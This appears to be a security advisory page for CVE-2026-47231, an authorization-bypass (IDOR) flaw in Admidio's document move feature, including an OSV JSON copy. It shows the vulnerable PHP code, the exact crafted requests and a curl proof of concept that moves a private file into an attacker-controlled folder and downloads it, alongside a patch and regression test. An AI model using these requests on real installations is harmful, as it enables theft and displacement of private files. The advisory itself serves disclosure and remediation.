CVE-2026-47231: Admidio/admidio Admidio Has IDOR Vulnerability

HIGH
Advisory Identifier: GHSA-x628-457g-2pw9
CVSS 8.1
CWE-639 CWE-863
Published
Advisory Summary

CVE-2026-47231 is a HIGH (CVSS 8.1) admidio has idor vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio has idor in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders. Remediation is available by upgrading affected packages to version 5.0.10.

CVE-2026-47231 at a Glance

CVE Identifier CVE-2026-47231
GHSA Identifier GHSA-x628-457g-2pw9
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-47231

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.10
Upgrade admidio/admidio to 5.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47231, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location). ## Details ### Vulnerable Code `modules/documents-files.php:79-89` — top-level rights check binds to URL `folder_uuid`: ```php if ($getMode != 'list' && $getMode != 'download') { // check the rights of the current folder // user must be administrator or must have the right to upload files $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); if (!$folder->hasUploadRight()) { $gMessage->show($gL10n->get('SYS_NO_RIGHTS')); // => EXIT } } ``` `modules/documents-files.php:187-204` — the `move_save` branch loads the file by UUID without revalidating the file's actual parent folder: ```php case 'move_save': $documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); $formValues = $documentsFilesMoveForm->validate($_POST); if ($getFileUUID !== '') { $file = new File($gDb); $file->readDataByUuid($getFileUUID); // <-- no permission check on the file's source folder $file->moveToFolder($formValues['adm_destination_folder_uuid']); } else { $folder = new Folder($gDb); $folder->readDataByUuid($getFolderUUID); $folder->moveToFolder($formValues['adm_destination_folder_uuid']); } $gNavigation->deleteLastUrl(); echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl())); break; ``` `src/Documents/Entity/File.php:212-223` — `moveToFolder` checks only the destination: ```php public function moveToFolder(string $destFolderUUID) { $folder = new Folder($this->db); $folder->readDataByUuid($destFolderUUID); if ($folder->hasUploadRight()) { // <-- destination only FileSystemUtils::moveFile($this->getFullFilePath(), $folder->getFullFolderPath() . '/' . $this->getValue('fil_name')); $this->setValue('fil_fol_id', $folder->getValue('fol_id')); $this->save(); } } ``` There is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The `file_uuid` URL parameter is independent of `folder_uuid`, so an attacker can pass `folder_uuid=<a folder I can upload to>` together with `file_uuid=<a file in a folder I cannot read>`. The top-level rights check passes; the destination check passes; the file is moved. ### Exploitation Primitive 1. Attacker user `lowuser` holds `folder_upload` on a single Documents folder `public_uploadable` (UUID `c41a99c0-…`). They have no view or edit rights on `private_admin_only` (UUID `db1f71b9-…`, which is a role-restricted folder containing `private_to_delete.txt`, UUID `559ed352-…`). 2. Render the move form with mismatched UUIDs to register a form key in the session: `GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…` 3. Submit `move_save` with the same mismatch: `POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…` with `adm_csrf_token=<from step 2>` and `adm_destination_folder_uuid=c41a99c0-…`. Server replies `{"status":"success"}`. The `private_to_delete.txt` row in `adm_files` now has `fil_fol_id` pointing at the public-uploadable folder. 4. Download the file from its new (publicly-accessible) location: `GET /modules/documents-files.php?mode=download&file_uuid=559ed352-…` returns the bytes of `private_to_delete.txt`. ## PoC Tested live on HEAD `c5cde53`. The trace below is the agent-captured run; I verified the code paths against the source listed above. ``` # 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable) $ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-… "You do not have the required permission to perform this action." # 1. render the move form using the public folder UUID (where lowuser has upload right) # paired with the PRIVATE file UUID $ curl -sb $cookie \ "http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…" # form rendered, CSRF token X is now in session # 2. submit move_save with the same param mismatch $ curl -sb $cookie -X POST \ "http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…" \ -d "adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…" {"status":"success", "url":"…"} # 3. download the leaked file $ curl -sb $cookie \ "http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…" private_to_delete_data ``` The DB record for the file now points at the attacker's folder (`fil_fol_id` updated), and the file has been physically moved on disk by `FileSystemUtils::moveFile`. ## Impact Any user with `folder_upload` right on a single Documents folder gains: * **Read access** to every file in private folders — admin-only documents, board-only files, leader-only resources, role-restricted attachments — by moving them into a folder the attacker owns and then downloading. * **Write/destruction primitive** — the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file's permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder). In multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding `folder_upload` on group A's public folder can lift any private file from group B. `PR:L` reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). `S:U` because the impact stays inside the Documents module's own access-control model, but the access boundary it bypasses is the one that operators most rely on. `C:H` because confidentiality of any file in any private folder is broken; `I:H` because file location is mutated. ## Recommended Fix `File::moveToFolder()` must check that the actor has upload right (or at least edit / move right) on the file's *source* folder, not just on the destination. The minimal patch: ```php // src/Documents/Entity/File.php public function moveToFolder(string $destFolderUUID) { // re-read the source folder this file currently lives in, and check rights on it $sourceFolder = new Folder($this->db); $sourceFolder->readData($this->getValue('fil_fol_id')); if (!$sourceFolder->hasUploadRight()) { throw new Exception('SYS_NO_RIGHTS'); } $destFolder = new Folder($this->db); $destFolder->readDataByUuid($destFolderUUID); if (!$destFolder->hasUploadRight()) { throw new Exception('SYS_NO_RIGHTS'); } FileSystemUtils::moveFile($this->getFullFilePath(), $destFolder->getFullFolderPath() . '/' . $this->getValue('fil_name')); $this->setValue('fil_fol_id', $destFolder->getValue('fol_id')); $this->save(); } ``` Equivalently, `documents-files.php` `case 'move_save'` should resolve the file's actual parent folder before the operation and call `getFileForDownload()` plus `hasUploadRight()` on that parent. The same fix is needed for `Folder::moveToFolder()` (the move-folder path is identical in shape). A regression test should: 1. Create user `lowuser` with upload right only on folder A. 2. Place a private file in folder B with no rights for `lowuser`. 3. As `lowuser`, render `mode=move` with `folder_uuid=A&file_uuid=<B's file>`, then `POST mode=move_save` with the same. 4. Assert the response is `SYS_NO_RIGHTS` and the file's `fil_fol_id` is unchanged. ## Related `mode=file_rename_save` shares the same root cause and is filed separately (`06-documents-cross-folder-rename-idor.md`); both bugs flow from the top-level rights check binding to URL `folder_uuid` rather than the file's actual parent.

CVE-2026-47231 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.10
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.10
5.0.10

References

Frequently Asked Questions

What is CVE-2026-47231?
CVE-2026-47231 is a security vulnerability in Admidio/admidio involving Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.10 across affected packages: admidio/admidio.
What version fixes CVE-2026-47231?
Upgrading to 5.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.10. Upgrade your dependency to 5.0.10 or later.
What is the CVSS score of CVE-2026-47231?
CVE-2026-47231 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-47231?
CVE-2026-47231 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Packagist dependencies for CVE-2026-47231?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x628-457g-2pw9",
  "modified" : "2026-05-29T22:06:49Z",
  "published" : "2026-05-29T22:06:48Z",
  "aliases" : [ "CVE-2026-47231" ],
  "summary" : "Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders",
  "details" : "## Summary\n\n`modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` — top-level rights check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != 'list' && $getMode != 'download') {\n    // check the rights of the current folder\n    // user must be administrator or must have the right to upload files\n    $folder = new Folder($gDb);\n    $folder->getFolderForDownload($getFolderUUID);\n\n    if (!$folder->hasUploadRight()) {\n        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));\n        // => EXIT\n    }\n}\n```\n\n`modules/documents-files.php:187-204` — the `move_save` branch loads the file by UUID without revalidating the file's actual parent folder:\n\n```php\ncase 'move_save':\n    $documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n    $formValues = $documentsFilesMoveForm->validate($_POST);\n\n    if ($getFileUUID !== '') {\n        $file = new File($gDb);\n        $file->readDataByUuid($getFileUUID);                       // <-- no permission check on the file's source folder\n        $file->moveToFolder($formValues['adm_destination_folder_uuid']);\n    } else {\n        $folder = new Folder($gDb);\n        $folder->readDataByUuid($getFolderUUID);\n        $folder->moveToFolder($formValues['adm_destination_folder_uuid']);\n    }\n\n    $gNavigation->deleteLastUrl();\n    echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));\n    break;\n```\n\n`src/Documents/Entity/File.php:212-223` — `moveToFolder` checks only the destination:\n\n```php\npublic function moveToFolder(string $destFolderUUID)\n{\n    $folder = new Folder($this->db);\n    $folder->readDataByUuid($destFolderUUID);\n\n    if ($folder->hasUploadRight()) {                               // <-- destination only\n        FileSystemUtils::moveFile($this->getFullFilePath(),\n                                  $folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));\n        $this->setValue('fil_fol_id', $folder->getValue('fol_id'));\n        $this->save();\n    }\n}\n```\n\nThere is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The `file_uuid` URL parameter is independent of `folder_uuid`, so an attacker can pass `folder_uuid=<a folder I can upload to>` together with `file_uuid=<a file in a folder I cannot read>`. The top-level rights check passes; the destination check passes; the file is moved.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on a single Documents folder `public_uploadable` (UUID `c41a99c0-…`). They have no view or edit rights on `private_admin_only` (UUID `db1f71b9-…`, which is a role-restricted folder containing `private_to_delete.txt`, UUID `559ed352-…`).\n2. Render the move form with mismatched UUIDs to register a form key in the session:\n   `GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…`\n3. Submit `move_save` with the same mismatch:\n   `POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…` with `adm_csrf_token=<from step 2>` and `adm_destination_folder_uuid=c41a99c0-…`. Server replies `{\"status\":\"success\"}`. The `private_to_delete.txt` row in `adm_files` now has `fil_fol_id` pointing at the public-uploadable folder.\n4. Download the file from its new (publicly-accessible) location:\n   `GET /modules/documents-files.php?mode=download&file_uuid=559ed352-…` returns the bytes of `private_to_delete.txt`.\n\n## PoC\n\nTested live on HEAD `c5cde53`. The trace below is the agent-captured run; I verified the code paths against the source listed above.\n\n```\n# 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable)\n$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-…\n\"You do not have the required permission to perform this action.\"\n\n# 1. render the move form using the public folder UUID (where lowuser has upload right)\n#    paired with the PRIVATE file UUID\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…\"\n# form rendered, CSRF token X is now in session\n\n# 2. submit move_save with the same param mismatch\n$ curl -sb $cookie -X POST \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…\" \\\n    -d \"adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…\"\n{\"status\":\"success\", \"url\":\"…\"}\n\n# 3. download the leaked file\n$ curl -sb $cookie \\\n    \"http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…\"\nprivate_to_delete_data\n```\n\nThe DB record for the file now points at the attacker's folder (`fil_fol_id` updated), and the file has been physically moved on disk by `FileSystemUtils::moveFile`.\n\n## Impact\n\nAny user with `folder_upload` right on a single Documents folder gains:\n\n* **Read access** to every file in private folders — admin-only documents, board-only files, leader-only resources, role-restricted attachments — by moving them into a folder the attacker owns and then downloading.\n* **Write/destruction primitive** — the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file's permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).\n\nIn multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding `folder_upload` on group A's public folder can lift any private file from group B.\n\n`PR:L` reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). `S:U` because the impact stays inside the Documents module's own access-control model, but the access boundary it bypasses is the one that operators most rely on. `C:H` because confidentiality of any file in any private folder is broken; `I:H` because file location is mutated.\n\n## Recommended Fix\n\n`File::moveToFolder()` must check that the actor has upload right (or at least edit / move right) on the file's *source* folder, not just on the destination. The minimal patch:\n\n```php\n// src/Documents/Entity/File.php\npublic function moveToFolder(string $destFolderUUID)\n{\n    // re-read the source folder this file currently lives in, and check rights on it\n    $sourceFolder = new Folder($this->db);\n    $sourceFolder->readData($this->getValue('fil_fol_id'));\n    if (!$sourceFolder->hasUploadRight()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $destFolder = new Folder($this->db);\n    $destFolder->readDataByUuid($destFolderUUID);\n\n    if (!$destFolder->hasUploadRight()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    FileSystemUtils::moveFile($this->getFullFilePath(),\n                              $destFolder->getFullFolderPath() . '/' . $this->getValue('fil_name'));\n    $this->setValue('fil_fol_id', $destFolder->getValue('fol_id'));\n    $this->save();\n}\n```\n\nEquivalently, `documents-files.php` `case 'move_save'` should resolve the file's actual parent folder before the operation and call `getFileForDownload()` plus `hasUploadRight()` on that parent. The same fix is needed for `Folder::moveToFolder()` (the move-folder path is identical in shape).\n\nA regression test should:\n1. Create user `lowuser` with upload right only on folder A.\n2. Place a private file in folder B with no rights for `lowuser`.\n3. As `lowuser`, render `mode=move` with `folder_uuid=A&file_uuid=<B's file>`, then `POST mode=move_save` with the same.\n4. Assert the response is `SYS_NO_RIGHTS` and the file's `fil_fol_id` is unchanged.\n\n## Related\n\n`mode=file_rename_save` shares the same root cause and is filed separately (`06-documents-cross-folder-rename-idor.md`); both bugs flow from the top-level rights check binding to URL `folder_uuid` rather than the file's actual parent.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:06:48Z",
    "nvd_published_at" : null
  }
}